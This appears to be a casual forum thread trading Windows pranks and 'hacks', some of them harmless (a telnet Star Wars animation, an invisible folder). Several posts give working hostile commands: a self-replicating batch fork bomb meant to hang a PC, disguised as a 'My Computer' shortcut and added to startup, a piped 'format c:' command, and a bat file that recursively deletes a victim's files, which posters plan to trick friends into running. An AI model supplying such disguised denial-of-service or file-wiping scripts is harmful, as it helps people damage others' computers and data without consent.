How to crash windows -STUPID-

[KillSw!tch]

Haha silly little thing I saw the other day on youtube, most of you "pro techies" already know how to do this anyway.

How to crash windows - only way out is to restart your PC

1. Go to Notepad
2. Type in the following underneath each other
start
slow.bat
start
slow.bat
3. Save it as slow.bat - make sure you save it as all files
4. Double click and you will see ALOT of CMD screens flashing on your desktop, the more you click, the more will flash... untill ultimately your screen goes totally blank.

How to trick your frends using this:
Pretty obvious!\
Create a shortcut
Make the destination folder the slow.bat file you created
Change and Rename the Icon to whatever you want eg. My Computer.
Haha my frend nearly got a heartattack.

Just thought I'd share it with you guys

 

[KillSw!tch]

To watch Star Wars: A new Hope through CMD:
Open CMD
Type telnet
then "o"
then type towel.blinkenlights.nl

haha I thought this was pretty well done

 

[Devill]

Will be giving heart attacks to friends this week end. thx for the plan

 

[KillSw!tch]

And to literally make a folder invisible
Create a new folder
Make sure NumLock is on,
hold alt+0160
then go 2 change icon
choose invisible icons

 

[Moederloos]

For added fun, add the bat file to startup.

 

[mercurial]

Instead of "crashing" windows, you could really play some good tricks on them. Take a screenshot of their desktop and set it as their wallpaper. Then hide all desktop icons

 

[Datura]

That Starwars is pretty cool

 

[mancombseepgood]

At the command prompt,
echo y|format c:

lol...

 

[Kasyx]

If you wanna crash Windows all you have to do is install the latest nVidia drivers

 

[mercurial]

You don't really need to anything TBO. Just use it for a while and it will automatically crash

 

[mancombseepgood]

Open notepad
enter:

:start
start
goto start

save as anything.bat

 

[Surv0]

Instead of "crashing" windows, you could really play some good tricks on them. Take a screenshot of their desktop and set it as their wallpaper. Then hide all desktop icons

I had our linux guru thinking his PC was fscked up big time when i did this, havent laughed as hard before.

 

[ben dover]

Ha!

Install Vista...that'll crash automatically...
No Help needed there!

 

[S1ght]

i like this bat file i made

cd \
del dir *dota*.* /s

Still gotta find a way to trick my friends into using it

 

[mercurial]

I had our linux guru thinking his PC was fscked up big time when i did this, havent laughed as hard before.

Haha lekker

 

[kronoSX]

If you wanna crash Windows all you have to do is install the latest nVidia drivers

that to

 

[Glordit]

Instead of "crashing" windows, you could really play some good tricks on them. Take a screenshot of their desktop and set it as their wallpaper. Then hide all desktop icons

LOL! I did that to a few people already even did it to a Public Libabry's PC

 

[PostmanPot]

Rofl this is too funny.

 

[kronoSX]

I like the starwars

 

[KillSw!tch]

Glad you guys enjoyed it! I did this on our school I.T teacher, now im sitting detention... Anyway il be posting more hacks as I get hold of them! I know of another one where you can create a shortcut that shutsdown your pc. But please post any interesting and funny Windows Tricks and Hacks here!